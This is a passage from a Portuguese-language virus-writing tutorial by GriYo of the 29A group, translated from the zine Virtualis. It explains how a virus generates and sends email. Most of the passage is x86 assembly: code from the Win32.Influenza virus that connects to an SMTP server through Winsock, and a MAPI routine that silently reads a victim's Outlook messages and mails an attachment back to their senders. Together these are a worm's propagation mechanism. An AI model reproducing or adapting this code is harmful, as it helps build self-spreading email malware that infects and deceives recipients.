                354 Enter mail. end with "." on a line by itself.
                from: usuario <usuario@servidor.meu>
                to:  destinatario <destinatario@servidor.seu>
                subject: Este e' o assunto
             
                Este e' o corpo da mensagem
                .
                250 Mail accepted
                quit
                221 Closing connection

  Pois e exatamente isto que um virus tem que fazer para gerar uma
  mensagem de correio eletronico. Com a ajuda das funcoes do
  WINSOCK.DLL podemos realizar estas operacoes. Implementar um 'daemon'
  SMTP (Simple Mail Transfer Protocol) em assembly nao e tarefa facil,
  vejamos como exemplo um fragmento do virus Win32.Influenza, no qual 
  encontramos um exemplo de como se conectar com o servidor de email:


                lea eax,dword ptr [ebp+WSA_data]                ; Iniciar WINSOCK
                push eax                                        ;
                push 00000101h                                  ;
                call dword ptr [ebp+a_WSAStartup]               ;
                or eax,eax                                      ; Error ?
                jnz WSA_CleanUp                                 ;
                lea eax,dword ptr [ebp+host_name]               ; Obter host a partir de
                push eax                                        ; seu nome
                call dword ptr [ebp+a_gethostbyname]            ;
                or eax,eax                                      ; Error ?
                jz WSA_CleanUp                                  ;
                cld                                             ;
                lea esi,dword ptr [eax+00000008h]               ;
                lea edi,dword ptr [ebp+SockAddrIn]              ;
                push edi                                        ;
                movsw                                           ;
                push 25                                         ; Porta SMTP
                call dword ptr [ebp+a_htons]                    ; Converter byte-order
                cld                                             ;
                stosw                                           ;
                lodsw                                           ;
                movzx ecx,ax                                    ;
                lodsd                                           ;
                mov esi,dword ptr [eax]                         ;
                rep movsb                                       ; Preparar SockAddrIn
                push ecx                                        ;
                push SOCK_STREAM                                ; Usar TCP
                push AF_INET                                    ; Internet
                call dword ptr [ebp+a_socket]                   ; Criamos o socket
                pop edi                                         ;
                cmp eax,00000000h                               ; Erro ?
                jl WSA_CleanUp                                  ;
                mov dword ptr [ebp+conn_sock],eax               ; Guardar descriptor
                push SizeOfAddrIn                               ;
                push edi                                        ;
                push eax                                        ;
                call dword ptr [ebp+a_connect]                  ; Conectar
                cmp eax,0FFFFFFFFh                              ; Erro ?
                je Disconnect                                   ;


  A definicao das estruturas utilizadas no exemplo anterior, como
  WSA_data ou SockAddrIn, podem ser encontradas nos arquivos "includes"
  de nosso compilador C favorito... ou no Win32 SDK da Microsoft, onde
  aparecem com informacoes detalhadas sobre sua utilizacao. O enico
  inconveniente e que temos que portar tudo para assembly, mas tambem
  se tem uma vantagem, tente escrever a mesma funcao em C e compare o
  tamanho dos executaveis resultantes.

  Uma forma de enviar email, simples e eficaz apesar de ser um tanto
  descarada, ja encontramos no seguinte codigo, que utiliza funcoes de
  MAPI:

                ; Registrar nossa secao MAPI

                lea eax,dword ptr [ebp+hMAPISession]
                push eax                                    ;lppSession
                push 00000000h                              ;ulReserved
                push 00000020h or 00008000h                 ;flFlags
                push 00000000h                              ;lpszPassword
                push 00000000h                              ;lpszProfileName
                push 00000000h                              ;ulUIParam
                call dword ptr [ebp+a_MAPILogon]
                or eax,eax
                jnz freeMAPI32

                ; Buscar uma mensagem qualquer dentro das pastas do Outlook

                lea eax,dword ptr [ebp+MessageID]
                push eax                                    ;lpszMessageID
                push 00000000h                              ;ulReserved 

                ;MAPI_LONG_MSGID = 00004000h

                push 00004000h                              ;flFlags
                push 00000000h                              ;lpszSeedMessageID 
                push 00000000h                              ;lpszMessageType
                push 00000000h                              ;ulUIParam 
                push dword ptr [ebp+hMAPISession]           ;lhSession
                call dword ptr [ebp+a_MAPIFindNext]
                or eax,eax
                jnz logoutMAPI32

                ; Pegamos a mensagem

                lea eax,dword ptr [ebp+MessagePtr]
                push eax                                    ;lppMessage
                push 00000000h                              ;ulReserved

                ;MAPI_ENVELOPE_ONLY = 00000040
                ;MAPI_PEEK                      = 00000080h

                push 00000080h or 00000040h                 ;flFlags                                                                                                            
                lea eax,dword ptr [ebp+MessageID]
                push eax                                    ;lpszMessageID
                push 00000000h                              ;ulUIParam 
                push dword ptr [ebp+hMAPISession]           ;lhSession
                call dword ptr [ebp+a_MAPIReadMail]

                ; Construimos uma nova mensagem utilizando parte da informacao
                ; obtida da mensagem anterior

                cld
                lea edi,dword ptr [ebp+MapiMessage]
                xor eax,eax
                stosd                                       ;ulReserved
                lea eax,dword ptr [ebp+szSubject]
                stosd                                       ;lpszSubject
                lea eax,dword ptr [ebp+szNoteText]
                stosd                                       ;lpszNoteText
                xor eax,eax
                stosd                                       ;lpszMessageType
                lea eax,dword ptr [ebp+szDate]
                stosd                                       ;lpszDate
                xor eax,eax
                stosd                                       ;lpszConversationID
                mov eax,00000002h ;MAPI_RECEIPT_REQUESTED 
                stosd                                       ;flFlags
                lea eax,dword ptr [ebp+MsgFrom]
                stosd                                       ;lpOriginator
                mov eax,00000001h
                stosd                                       ;nRecipCount
                lea eax,dword ptr [ebp+MsgTo]
                stosd                                       ;lpRecips
                mov eax,00000001h
                stosd                                       ;nFileCount
                lea eax,dword ptr [ebp+MapiFileDesc]
                stosd                                       ;lpFiles

                ; Origem da mensagem
                                
                xor eax,eax                                 ;ulReserved 
                stosd
                stosd                                       ;ulRecipClass 

                lea eax,dword ptr [ebp+szNameFrom]              
                stosd                                       ;lpszName
                lea eax,dword ptr [ebp+szMailFrom]              
                stosd                                       ;lpszAddress
                xor eax,eax
                stosd                                       ;ulEIDSize
                stosd                                       ;lpEntryID

                ; Destino da mensagem

                stosd                                       ;ulReserved 
                inc eax ;MAPI_TO
                stosd                                       ;ulRecipClass

                mov esi,dword ptr [ebp+MessagePtr]
                add esi,0000001Ch                           ; Ir para originator
                lodsd
                lea esi,dword ptr [eax+00000008h]
                movsd
                movsd

                xor eax,eax
                stosd                                       ;ulEIDSize
                stosd                                       ;lpEntryID

                ; Indicamos o arquivo que queremos incluir junto com a mensagem

                stosd                                       ;ulReserved
                stosd                                       ;flFlags
                mov eax,00000000h
                stosd                                       ;nPosition
                lea eax,dword ptr [ebp+szFileAttach]
                stosd                                       ;lpszPathName
                lea eax,dword ptr [ebp+szFileMsg]
                stosd                                       ;lpszFileName
                xor eax,eax
                stosd                                       ;lpFileType

                ; E finalmente enviamos a mensagem

                push 00000000h
                push 00000000h
                lea eax,dword ptr [ebp+MapiMessage]
                push eax
                push 00000000h
                push dword ptr [ebp+hMAPISession]
                call dword ptr [ebp+a_MAPISendMail]

                ; Antes de terminar e necessario liberar a memoria que
                ; estava reservada por MAPI

                push dword ptr [ebp+MessagePtr]
                call dword ptr [ebp+a_MAPIFreeBuffer]

                ; Somos educados, nos despedimos

logoutMAPI32:   push 00000000h
                push 00000000h
                push 00000000h
                push dword ptr [ebp+hMAPISession]
                call dword ptr [ebp+a_MAPILogoff]                                               

                ; Liberamos MAPI32.DLL para terminar

freeMAPI32:     push dword ptr [ebp+hMAPI32]
                call FreeLibrary


                               . . .


  Na minha pagina pessoal voce podera encontrar informacoes detalhadas
  sobre o funcionamento de cada um destes virus, alem de artigos, tutoriais,
  noticiais e utilitarios. A URL e:

  BioTech( http://www.geocities.com/Area51/Corridor/2618 ) 
  
  Por GriYo / 29A
  http://www.29a.net/
  http://www.geocities.com/Area51/Corridor/2618
  griyo@akrata.org


              --------------------------------------------------
               Materia traduzida retirada de Virtualis n9
               http://projetov.hypermart.net/Virtualis/virt.html
               Email: virtualis@yahoo.com  
              --------------------------------------------------
  
     
                       Copyright  2001, Vrus Brasil 
 
